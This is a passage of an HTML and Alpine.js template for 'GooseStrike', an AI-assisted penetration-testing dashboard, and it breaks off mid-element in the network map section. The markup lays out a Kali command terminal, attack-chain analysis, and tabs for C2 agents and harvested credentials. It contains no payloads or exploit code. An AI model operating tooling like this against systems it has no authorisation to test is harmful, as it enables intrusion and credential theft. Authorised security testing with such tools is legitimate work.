Files
StrikePackageGPT/services/dashboard/templates/index.html

5112 lines
314 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GooseStrike - Security Analysis Dashboard</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script>
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
<script src="https://d3js.org/d3.v7.min.js"></script>
<script src="/static/dist/components.js"></script>
<link rel="icon" type="image/png" href="/static/icon.png">
<script>
tailwind.config = {
theme: {
extend: {
colors: {
'sp-black': '#0a0a0a',
'sp-dark': '#141414',
'sp-grey': '#1f1f1f',
'sp-grey-light': '#2a2a2a',
'sp-grey-mid': '#3a3a3a',
'sp-red': '#dc2626',
'sp-red-dark': '#991b1b',
'sp-red-light': '#ef4444',
'sp-white': '#ffffff',
'sp-white-dim': '#e5e5e5',
'sp-white-muted': '#a3a3a3',
'sev-critical': '#dc2626',
'sev-high': '#ea580c',
'sev-medium': '#eab308',
'sev-low': '#22c55e',
'sev-info': '#3b82f6',
}
}
}
}
</script>
<style>
.chat-container { height: calc(100vh - 320px); }
.terminal-container { height: calc(100vh - 280px); }
.message-content pre { background: #0a0a0a; padding: 1rem; border-radius: 0.5rem; overflow-x: auto; font-family: monospace; border: 1px solid #2a2a2a; }
.message-content code { background: #1f1f1f; padding: 0.2rem 0.4rem; border-radius: 0.25rem; font-family: monospace; color: #ef4444; }
.typing-indicator span { animation: blink 1.4s infinite both; }
.typing-indicator span:nth-child(2) { animation-delay: 0.2s; }
.typing-indicator span:nth-child(3) { animation-delay: 0.4s; }
@keyframes blink { 0%, 60%, 100% { opacity: 0; } 30% { opacity: 1; } }
.terminal-output { font-family: 'Fira Code', 'Monaco', 'Consolas', monospace; font-size: 13px; line-height: 1.5; }
.terminal-output .stdout { color: #e5e5e5; }
.terminal-output .stderr { color: #ef4444; }
.terminal-output .cmd { color: #dc2626; }
.scan-card { transition: all 0.2s ease; }
.scan-card:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(220, 38, 38, 0.15); }
.glow-red { box-shadow: 0 0 20px rgba(220, 38, 38, 0.3); }
@keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } }
.pulse-red { animation: pulse-red 2s ease-in-out infinite; }
.severity-badge { font-weight: 600; padding: 2px 8px; border-radius: 4px; font-size: 11px; text-transform: uppercase; }
/* Network Map Styles */
.network-map-container { background: radial-gradient(circle at center, #1a1a1a 0%, #0a0a0a 100%); }
.network-node { cursor: pointer; transition: transform 0.2s ease; }
.network-node:hover { transform: scale(1.1); }
.network-link { stroke: #3a3a3a; stroke-width: 2; fill: none; }
.network-link.active { stroke: #dc2626; stroke-width: 3; }
.node-label { font-size: 11px; fill: #a3a3a3; text-anchor: middle; }
.node-ip { font-size: 10px; fill: #666; text-anchor: middle; font-family: monospace; }
.device-icon { font-size: 24px; }
/* Voice Control Styles */
.voice-btn { transition: all 0.3s ease; }
.voice-btn.listening { background: #dc2626 !important; animation: voice-pulse 1.5s ease-in-out infinite; }
.voice-btn.processing { background: #eab308 !important; }
@keyframes voice-pulse { 0%, 100% { box-shadow: 0 0 0 0 rgba(220, 38, 38, 0.7); } 50% { box-shadow: 0 0 0 15px rgba(220, 38, 38, 0); } }
/* Help Panel Styles */
.help-panel { width: 380px; transition: transform 0.3s ease; }
.help-panel.hidden { transform: translateX(100%); }
.help-message { animation: fadeIn 0.3s ease; }
@keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
/* Wizard Styles */
.wizard-step { transition: all 0.3s ease; }
.wizard-step.active { border-color: #dc2626; background: rgba(220, 38, 38, 0.1); }
.wizard-progress { background: linear-gradient(90deg, #dc2626 var(--progress), #3a3a3a var(--progress)); }
/* Explain Button Styles */
.explain-btn { transition: all 0.2s ease; }
.explain-btn:hover { background: rgba(220, 38, 38, 0.2); }
.explain-tooltip { animation: tooltipFade 0.2s ease; }
@keyframes tooltipFade { from { opacity: 0; transform: scale(0.95); } to { opacity: 1; transform: scale(1); } }
/* CTF Agent Styles */
.ctf-message pre { background: #0a0a0a; padding: 0.75rem; border-radius: 0.375rem; overflow-x: auto; margin: 0.5rem 0; }
.ctf-message code { font-family: 'Fira Code', monospace; font-size: 12px; }
.ctf-message li { list-style: disc; margin-left: 1rem; }
#ctf-messages { scroll-behavior: smooth; }
</style>
</head>
<body class="bg-sp-black text-sp-white">
<div x-data="dashboard()" x-init="init()" class="min-h-screen flex flex-col">
<!-- Header -->
<header class="bg-sp-dark border-b border-sp-grey-mid px-6 py-4">
<div class="flex items-center justify-between">
<div class="flex items-center gap-4">
<div class="flex items-center gap-3">
<img src="/static/icon.png" alt="GooseStrike" class="h-10 w-10" onerror="this.style.display='none'">
<div>
<h1 class="text-2xl font-bold text-sp-red">GooseStrike</h1>
<span class="text-xs text-sp-white-muted">AI-Powered Penetration Testing Platform</span>
</div>
</div>
<img src="/static/flag.png" alt="Canada" class="h-6 ml-2" onerror="this.style.display='none'">
<!-- Project Selector -->
<div class="flex items-center gap-2 ml-6 px-3 py-1.5 bg-sp-grey rounded border border-sp-grey-mid">
<span class="text-sp-white-muted text-sm">📁 Project:</span>
<select x-model="currentProjectId"
@change="selectProject()"
class="bg-sp-dark border-0 text-sp-white text-sm font-semibold focus:outline-none max-w-[180px]">
<option value="">No Project</option>
<template x-for="proj in projects" :key="proj.id">
<option :value="proj.id" x-text="proj.name"></option>
</template>
</select>
<button @click="showProjectModal = true"
class="p-1 hover:bg-sp-grey-light rounded transition"
title="Create New Project">
<span class="text-sp-red">+</span>
</button>
<button @click="showProjectDetails = !showProjectDetails"
x-show="currentProjectId"
class="p-1 hover:bg-sp-grey-light rounded transition"
title="Project Details">
<span class="text-sp-white-muted">⚙️</span>
</button>
</div>
</div>
<div class="flex items-center gap-4">
<div x-show="runningProcesses.length > 0"
class="flex items-center gap-2 px-3 py-1.5 rounded bg-sp-red/20 border border-sp-red/50 cursor-pointer"
@click="showProcesses = !showProcesses">
<span class="w-2 h-2 rounded-full bg-sp-red pulse-red"></span>
<span class="text-sp-red text-sm font-medium" x-text="runningProcesses.length + ' Running'"></span>
</div>
<div class="flex items-center gap-3 text-sm">
<template x-for="(status, service) in services" :key="service">
<div class="flex items-center gap-1 px-2 py-1 rounded bg-sp-grey">
<span class="w-2 h-2 rounded-full" :class="status ? 'bg-green-500' : 'bg-sp-red'"></span>
<span class="text-sp-white-muted text-xs" x-text="service"></span>
</div>
</template>
</div>
<!-- AI Provider Indicator -->
<div class="flex items-center gap-2 px-3 py-1.5 rounded border"
:class="getProviderStyle(selectedProvider)">
<span x-text="getProviderIcon(selectedProvider)" class="text-lg"></span>
<div class="flex flex-col">
<span class="text-xs font-semibold" x-text="getProviderName(selectedProvider)"></span>
<span class="text-xs opacity-75 font-mono" x-text="selectedModel"></span>
</div>
</div>
<select x-model="selectedProvider" @change="updateModels(); savePreferences()"
class="bg-sp-grey border border-sp-grey-mid rounded px-3 py-1.5 text-sm text-sp-white focus:border-sp-red focus:outline-none">
<option value="ollama-local">🦙 Local Ollama</option>
<option value="ollama-network">🌐 Networked Ollama</option>
<option value="openai">🤖 OpenAI</option>
<option value="anthropic">🧠 Anthropic</option>
</select>
<select x-model="selectedModel" @change="savePreferences()" class="bg-sp-grey border border-sp-grey-mid rounded px-3 py-1.5 text-sm text-sp-white focus:border-sp-red focus:outline-none max-w-[200px]">
<template x-for="model in availableModels" :key="model">
<option :value="model" x-text="model"></option>
</template>
</select>
</div>
</div>
<div x-show="showProcesses && runningProcesses.length > 0" x-transition
class="mt-4 p-3 bg-sp-grey rounded border border-sp-grey-mid">
<h4 class="text-sm font-semibold text-sp-red mb-2">🔄 Running Processes</h4>
<div class="space-y-1">
<template x-for="proc in runningProcesses" :key="proc.pid">
<div class="flex items-center justify-between text-xs bg-sp-dark p-2 rounded">
<span class="text-sp-white-muted font-mono" x-text="proc.command"></span>
<div class="flex items-center gap-3">
<span class="text-sp-white-muted">CPU: <span class="text-sp-red" x-text="proc.cpu + '%'"></span></span>
<span class="text-sp-white-muted">Time: <span x-text="proc.time"></span></span>
</div>
</div>
</template>
</div>
</div>
<!-- 6-Phase Methodology Tabs -->
<div class="flex gap-1 mt-4 border-b border-sp-grey-mid">
<template x-for="phase in phases" :key="phase.id">
<button @click="activePhase = phase.id; activeTab = 'phase'"
:class="activePhase === phase.id && activeTab === 'phase' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
<span x-text="phase.icon"></span>
<span class="hidden lg:inline" x-text="phase.name"></span>
<span class="lg:hidden" x-text="phase.short"></span>
</button>
</template>
<div class="flex-1"></div>
<button @click="activeTab = 'terminal'"
:class="activeTab === 'terminal' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2">
🖥️ Terminal
</button>
<button @click="activeTab = 'attack-chains'"
:class="activeTab === 'attack-chains' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
⛓️ Attack Chains
<span x-show="attackChains.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="attackChains.length"></span>
</button>
<button @click="activeTab = 'network-map'"
:class="activeTab === 'network-map' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
🗺️ Network Map
<span x-show="networkHosts.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="networkHosts.length"></span>
</button>
<button @click="activeTab = 'scan-history'"
:class="activeTab === 'scan-history' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
📋 Scan History
<span x-show="scans.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="scans.length"></span>
</button>
<button @click="activeTab = 'c2'"
:class="activeTab === 'c2' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
☠️ C2
<span x-show="c2Agents.filter(a => a.status === 'active').length > 0"
class="px-2 py-0.5 bg-green-500/30 rounded-full text-xs text-green-400"
x-text="c2Agents.filter(a => a.status === 'active').length"></span>
</button>
<button @click="activeTab = 'credentials'"
:class="activeTab === 'credentials' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
🔐 Creds
<span x-show="credentials.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="credentials.length"></span>
</button>
<button @click="activeTab = 'notes'"
:class="activeTab === 'notes' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
📝 Notes
<span x-show="projectNotes.length > 0" class="px-2 py-0.5 bg-sp-red/30 rounded-full text-xs" x-text="projectNotes.length"></span>
</button>
<button @click="activeTab = 'ctf'"
:class="activeTab === 'ctf' ? 'border-sp-red text-sp-red bg-sp-grey' : 'border-transparent text-sp-white-muted hover:text-white hover:bg-sp-grey-light'"
class="px-4 py-2 font-medium transition border-b-2 flex items-center gap-2">
🚩 CTF Agent
</button>
</div>
</header>
<!-- Main Content -->
<div class="flex flex-1 overflow-hidden">
<!-- Sidebar -->
<aside class="w-64 bg-sp-dark border-r border-sp-grey-mid p-4 overflow-y-auto">
<div class="mb-4 p-3 bg-sp-grey rounded border border-sp-grey-mid">
<h3 class="text-sm font-semibold text-sp-red mb-2" x-text="getCurrentPhase().name"></h3>
<p class="text-xs text-sp-white-muted" x-text="getCurrentPhase().description"></p>
</div>
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">🛠️ Phase Tools</h2>
<div class="space-y-1 mb-6">
<template x-for="tool in getCurrentPhase().tools" :key="tool.name">
<button @click="askAboutTool(tool)"
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded transition">
<span class="font-mono text-sp-red-light" x-text="tool.name"></span>
<p class="text-xs text-sp-white-muted truncate" x-text="tool.description"></p>
</button>
</template>
</div>
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">⚡ Quick Actions</h2>
<div class="space-y-2">
<template x-for="action in getCurrentPhase().quickActions" :key="action.label">
<button @click="executeQuickAction(action)"
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light hover:border-sp-red border border-transparent px-3 py-2 rounded flex items-center gap-2 transition">
<span x-text="action.icon"></span>
<span x-text="action.label"></span>
</button>
</template>
</div>
<div class="mt-6" x-show="findings.length > 0">
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">📊 Findings</h2>
<div class="space-y-2">
<div class="flex items-center justify-between text-sm">
<span class="text-sev-critical">Critical</span>
<span class="font-bold" x-text="countBySeverity('critical')"></span>
</div>
<div class="flex items-center justify-between text-sm">
<span class="text-sev-high">High</span>
<span class="font-bold" x-text="countBySeverity('high')"></span>
</div>
<div class="flex items-center justify-between text-sm">
<span class="text-sev-medium">Medium</span>
<span class="font-bold" x-text="countBySeverity('medium')"></span>
</div>
<div class="flex items-center justify-between text-sm">
<span class="text-sev-low">Low</span>
<span class="font-bold" x-text="countBySeverity('low')"></span>
</div>
</div>
</div>
<!-- Onboarding & Help Section -->
<div class="mt-6 pt-4 border-t border-sp-grey-mid">
<h2 class="text-lg font-semibold mb-4 text-sp-white-dim">🎓 Help & Onboarding</h2>
<div class="space-y-2">
<button @click="showWizard('first_time_setup')"
x-show="!onboardingComplete"
class="w-full text-left text-sm bg-sp-red/20 hover:bg-sp-red/30 border border-sp-red/50 px-3 py-2 rounded flex items-center gap-2 transition">
<span>🚀</span>
<span>Getting Started</span>
</button>
<button @click="showWizard('run_scan')"
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition">
<span>🎯</span>
<span>Scan Wizard</span>
</button>
<button @click="showWizard('create_operation')"
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition">
<span>📋</span>
<span>New Operation</span>
</button>
<button @click="toggleHelpPanel()"
class="w-full text-left text-sm bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded flex items-center gap-2 transition"
:class="showHelpPanel ? 'bg-sp-red/20 border-sp-red' : ''">
<span>💬</span>
<span>AI Help Chat</span>
</button>
</div>
</div>
<!-- Voice Command Reference -->
<div class="mt-4 p-3 bg-sp-grey/50 rounded border border-sp-grey-mid">
<h4 class="text-xs font-semibold text-sp-white-muted mb-2">🎤 Voice Commands</h4>
<div class="text-xs text-sp-white-muted space-y-1">
<p>• "Scan [target]"</p>
<p>• "Show agents"</p>
<p>• "List scans"</p>
<p>• "Help with [topic]"</p>
</div>
</div>
<!-- Voice Controls Component Mount Point -->
<div id="voice-controls-mount" class="mt-4"></div>
</aside>
<!-- Help Chat Panel (Slide-in) -->
<aside x-show="showHelpPanel"
x-transition:enter="transition ease-out duration-300"
x-transition:enter-start="translate-x-full"
x-transition:enter-end="translate-x-0"
x-transition:leave="transition ease-in duration-200"
x-transition:leave-start="translate-x-0"
x-transition:leave-end="translate-x-full"
class="help-panel fixed right-0 top-0 h-full bg-sp-dark border-l border-sp-grey-mid z-40 flex flex-col">
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
<h3 class="font-bold text-sp-white flex items-center gap-2">
💬 AI Help Assistant
</h3>
<button @click="showHelpPanel = false" class="text-sp-white-muted hover:text-white"></button>
</div>
<div class="flex-1 overflow-y-auto p-4 space-y-3" id="helpChatContainer">
<template x-for="(msg, idx) in helpMessages" :key="idx">
<div class="help-message" :class="msg.role === 'user' ? 'text-right' : 'text-left'">
<div :class="msg.role === 'user'
? 'bg-sp-red inline-block rounded-lg px-3 py-2 text-sm'
: 'bg-sp-grey inline-block rounded-lg px-3 py-2 text-sm border border-sp-grey-mid'">
<div x-html="renderMarkdown(msg.content)"></div>
</div>
</div>
</template>
<div x-show="helpLoading" class="text-left">
<div class="bg-sp-grey inline-block rounded-lg px-3 py-2 border border-sp-grey-mid">
<div class="typing-indicator flex gap-1">
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
</div>
</div>
</div>
</div>
<!-- Quick Help Buttons -->
<div class="p-3 border-t border-sp-grey-mid">
<div class="flex flex-wrap gap-2 mb-3">
<button @click="askHelp('How do I start?')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🚀 Getting Started</button>
<button @click="askHelp('Explain nmap options')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🔍 Nmap Help</button>
<button @click="askHelp('What are the phases?')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">📋 Phases</button>
<button @click="askHelp('Show voice commands')" class="text-xs bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded">🎤 Voice</button>
</div>
<form @submit.prevent="sendHelpMessage()" class="flex gap-2">
<input type="text" x-model="helpInput" placeholder="Ask anything..."
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-1 focus:ring-sp-red">
<button type="submit" class="bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-sm" :disabled="!helpInput.trim()">
Send
</button>
</form>
</div>
</aside>
<!-- Content Area -->
<main class="flex-1 flex flex-col">
<!-- Phase Content -->
<div x-show="activeTab === 'phase'" class="flex-1 flex flex-col">
<div class="chat-container overflow-y-auto p-6 space-y-4" id="chatContainer">
<template x-for="(msg, index) in messages" :key="index">
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
<div :class="msg.role === 'user'
? 'bg-sp-red text-white max-w-3xl'
: 'bg-sp-grey text-sp-white-dim max-w-4xl border border-sp-grey-mid'"
class="rounded-lg px-4 py-3 message-content">
<template x-if="msg.role === 'assistant'">
<div class="flex items-center gap-2 mb-2 pb-2 border-b border-sp-grey-mid flex-wrap">
<!-- AI Provider Badge -->
<div class="flex items-center gap-1 px-2 py-0.5 rounded text-xs"
:class="getProviderBadgeStyle(msg.provider || 'ollama')">
<span x-text="getProviderIcon(msg.provider || 'ollama')"></span>
<span x-text="msg.model || 'AI'"></span>
</div>
<template x-if="msg.phase">
<span class="text-xs px-2 py-1 bg-sp-red/20 text-sp-red rounded" x-text="msg.phase"></span>
</template>
<template x-if="msg.risk_score">
<span :class="getRiskColor(msg.risk_score)"
class="severity-badge"
x-text="getRiskLabel(msg.risk_score)"></span>
</template>
</div>
</template>
<div x-html="renderMarkdown(msg.content)"></div>
<template x-if="msg.findings && msg.findings.length > 0">
<div class="mt-3 pt-3 border-t border-sp-grey-mid">
<h5 class="text-xs font-semibold text-sp-white-muted mb-2">Findings:</h5>
<div class="space-y-1">
<template x-for="finding in msg.findings" :key="finding.id">
<div class="flex items-center gap-2 text-xs bg-sp-black/50 p-2 rounded">
<span :class="getSeverityBadgeClass(finding.severity)"
class="severity-badge"
x-text="finding.severity"></span>
<span x-text="finding.title"></span>
</div>
</template>
</div>
</div>
</template>
</div>
</div>
</template>
<div x-show="isLoading" class="flex justify-start">
<div class="bg-sp-grey rounded-lg px-4 py-3 border border-sp-grey-mid">
<div class="typing-indicator flex gap-1">
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
</div>
</div>
</div>
</div>
<div x-show="phaseScans.length > 0" class="border-t border-sp-grey-mid bg-sp-dark p-3">
<div class="flex items-center gap-4 overflow-x-auto">
<span class="text-xs text-sp-white-muted font-semibold">Scans:</span>
<template x-for="scan in phaseScans" :key="scan.scan_id">
<div @click="viewScanDetails(scan)"
class="flex items-center gap-2 px-3 py-1 bg-sp-grey rounded cursor-pointer hover:bg-sp-grey-light">
<span :class="{
'bg-yellow-500': scan.status === 'running' || scan.status === 'pending',
'bg-green-500': scan.status === 'completed',
'bg-sp-red': scan.status === 'failed'
}" class="w-2 h-2 rounded-full"></span>
<span class="text-xs text-sp-red font-mono" x-text="scan.tool"></span>
<span class="text-xs text-sp-white-muted" x-text="scan.target"></span>
</div>
</template>
</div>
</div>
<div class="border-t border-sp-grey-mid p-4 bg-sp-dark">
<form @submit.prevent="sendMessage()" class="flex gap-2">
<!-- Voice Control Button -->
<button type="button"
@click="toggleVoiceRecording()"
@keydown.space.prevent="startVoiceRecording()"
@keyup.space.prevent="stopVoiceRecording()"
class="voice-btn px-4 py-3 rounded-lg transition flex items-center justify-center"
:class="{
'bg-sp-grey hover:bg-sp-grey-light': voiceState === 'idle',
'listening': voiceState === 'listening',
'processing': voiceState === 'processing',
'bg-green-600': voiceState === 'speaking'
}"
:title="voiceState === 'idle' ? 'Click or hold Space to speak' : voiceState">
<span x-show="voiceState === 'idle'">🎤</span>
<span x-show="voiceState === 'listening'" class="animate-pulse">🔴</span>
<span x-show="voiceState === 'processing'"></span>
<span x-show="voiceState === 'speaking'">🔊</span>
</button>
<input type="text" x-model="userInput"
:placeholder="getPhasePrompt()"
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-3 focus:outline-none focus:ring-2 focus:ring-sp-red focus:border-transparent text-sp-white placeholder-sp-white-muted"
:disabled="isLoading">
<!-- Explain Button for Input -->
<button type="button"
@click="explainInput()"
class="explain-btn bg-sp-grey hover:bg-sp-grey-light px-3 py-3 rounded-lg transition"
:disabled="!userInput.trim()"
title="Get help with this command">
</button>
<button type="submit"
class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey-mid px-6 py-3 rounded-lg font-semibold transition text-white"
:disabled="isLoading || !userInput.trim()">
Send
</button>
</form>
<!-- Voice Transcript Display -->
<div x-show="voiceTranscript" x-transition class="mt-2 p-2 bg-sp-grey/50 rounded text-sm text-sp-white-muted">
<span class="text-sp-red">🎤 Heard:</span> <span x-text="voiceTranscript"></span>
</div>
</div>
</div>
<!-- Terminal Tab -->
<div x-show="activeTab === 'terminal'" class="flex-1 flex flex-col">
<div class="terminal-container overflow-y-auto p-4 bg-sp-black font-mono" id="terminalOutput">
<div class="terminal-output">
<template x-for="(line, index) in terminalHistory" :key="index">
<div>
<template x-if="line.type === 'cmd'">
<div class="cmd mb-1">
<span class="text-sp-red">kali@strikepackage</span>:<span class="text-sp-white-muted">~</span>$ <span class="text-white" x-text="line.content"></span>
</div>
</template>
<template x-if="line.type === 'stdout'">
<pre class="stdout whitespace-pre-wrap" x-text="line.content"></pre>
</template>
<template x-if="line.type === 'stderr'">
<pre class="stderr whitespace-pre-wrap" x-text="line.content"></pre>
</template>
<template x-if="line.type === 'info'">
<div class="text-sp-white-muted italic" x-text="line.content"></div>
</template>
<template x-if="line.type === 'keepalive'">
<div class="text-yellow-500 italic flex items-center gap-2">
<svg class="animate-spin h-4 w-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
<span x-text="line.content"></span>
</div>
</template>
</div>
</template>
<div x-show="terminalLoading" class="text-sp-red animate-pulse flex items-center gap-2">
<span class="inline-block w-2 h-2 bg-sp-red rounded-full animate-ping"></span>
<span x-text="terminalStreaming ? 'Streaming output...' : 'Executing command...'"></span>
</div>
</div>
</div>
<div class="border-t border-sp-grey-mid p-4 bg-sp-dark">
<form @submit.prevent="executeCommand()" class="flex gap-4 items-center">
<div class="flex items-center text-sp-red font-mono text-sm">
kali@strikepackage:~$
</div>
<input type="text" x-model="terminalInput"
placeholder="Enter command to execute in Kali container..."
class="flex-1 bg-sp-black border border-sp-grey-mid rounded px-4 py-2 font-mono text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted"
:disabled="terminalLoading"
@keyup.up="historyUp()"
@keyup.down="historyDown()">
<button x-show="!terminalStreaming"
type="submit"
class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey-mid px-4 py-2 rounded font-semibold transition text-white"
:disabled="terminalLoading || !terminalInput.trim()">
Run
</button>
<button x-show="terminalStreaming"
type="button"
@click="cancelCommand()"
class="bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded font-semibold transition text-white">
Cancel
</button>
<button type="button"
@click="togglePause()"
:class="terminalPaused ? 'bg-blue-600 hover:bg-blue-700' : 'bg-sp-grey hover:bg-sp-grey-light'"
class="px-3 py-2 rounded text-white text-sm">
<span x-text="terminalPaused ? 'Resume' : 'Pause'"></span>
</button>
<label class="flex items-center gap-2 text-xs text-sp-white-muted">
<input type="checkbox" x-model="scrollLock"> Scroll Lock
</label>
<button type="button" @click="copyTerminalOutput()"
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-white text-sm">
Copy
</button>
<div class="ml-2 text-xs text-sp-white-muted" x-show="terminalStreaming">
Elapsed: <span x-text="formatElapsed(terminalStartTime)"></span>
</div>
<div class="ml-2 text-xs" x-show="lastExitCode !== null">
<span :class="lastExitCode === 0 ? 'bg-green-500/20 text-green-400 border border-green-500/40' : 'bg-sp-red/20 text-sp-red border border-sp-red/40'"
class="px-2 py-1 rounded">Exit: <span x-text="lastExitCode"></span></span>
</div>
</form>
<p x-show="terminalStreaming" class="text-xs text-sp-white-muted mt-2">
💡 Output is streaming in real-time. Click Cancel to stop the command.
</p>
</div>
</div>
<!-- Attack Chains Tab -->
<div x-show="activeTab === 'attack-chains'" class="flex-1 overflow-y-auto p-6">
<div class="flex justify-between items-center mb-6">
<div>
<h2 class="text-xl font-bold text-sp-white">⛓️ Attack Chain Analysis</h2>
<p class="text-sm text-sp-white-muted">Correlated vulnerabilities and potential attack paths</p>
</div>
<button @click="analyzeAttackChains()"
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
:disabled="findings.length === 0">
🔗 Analyze Chains
</button>
</div>
<div x-show="attackChains.length === 0" class="text-center text-sp-white-muted py-12">
<p class="text-4xl mb-4">⛓️</p>
<p>No attack chains detected yet.</p>
<p class="text-sm mt-2">Complete reconnaissance and vulnerability scanning to identify potential attack paths.</p>
</div>
<div class="space-y-6">
<template x-for="(chain, chainIdx) in attackChains" :key="chainIdx">
<div class="bg-sp-dark rounded-lg border border-sp-grey-mid overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
<div class="flex items-center gap-3">
<span :class="getRiskColor(chain.risk_score)"
class="severity-badge"
x-text="getRiskLabel(chain.risk_score)"></span>
<h3 class="font-bold text-sp-white" x-text="chain.name"></h3>
</div>
<div class="text-sm text-sp-white-muted">
Risk Score: <span class="text-sp-red font-bold" x-text="chain.risk_score.toFixed(1)"></span>/10
</div>
</div>
<div class="p-4">
<div class="relative">
<template x-for="(step, stepIdx) in chain.steps" :key="stepIdx">
<div class="flex items-start gap-4 mb-4 last:mb-0">
<div class="flex-shrink-0 w-8 h-8 rounded-full bg-sp-red flex items-center justify-center text-white font-bold text-sm">
<span x-text="step.step"></span>
</div>
<div class="flex-1 bg-sp-grey rounded p-3">
<div class="font-semibold text-sp-white" x-text="step.action"></div>
<div class="text-sm text-sp-white-muted mt-1" x-text="step.method || step.vuln || step.tools"></div>
</div>
</div>
</template>
</div>
<div class="mt-4 pt-4 border-t border-sp-grey-mid">
<div class="flex items-start gap-2">
<span class="text-sp-red">⚠️</span>
<div>
<span class="text-sm font-semibold text-sp-white-muted">Impact:</span>
<span class="text-sm text-sp-white" x-text="chain.impact"></span>
</div>
</div>
<div class="flex items-center gap-4 mt-2 text-sm text-sp-white-muted">
<span>Likelihood: <span class="text-sp-red" x-text="(chain.likelihood * 100).toFixed(0) + '%'"></span></span>
<span x-text="chain.recommendation"></span>
</div>
</div>
</div>
</div>
</template>
</div>
</div>
<!-- Network Map Tab -->
<div x-show="activeTab === 'network-map'" class="flex-1 flex flex-col overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid bg-sp-dark flex justify-between items-center">
<div>
<h2 class="text-xl font-bold text-sp-white">🗺️ Network Map</h2>
<p class="text-sm text-sp-white-muted">Discovered hosts with OS detection</p>
</div>
<div class="flex gap-3">
<div class="flex items-center gap-2 bg-sp-grey px-2 py-1 rounded border border-sp-grey-mid">
<span class="text-xs text-sp-white-muted">View:</span>
<button @click="networkMapView = 'cytoscape'; $nextTick(() => renderNetworkMap())"
:class="networkMapView === 'cytoscape' ? 'bg-sp-red text-white' : 'bg-sp-grey-light text-sp-white-muted'"
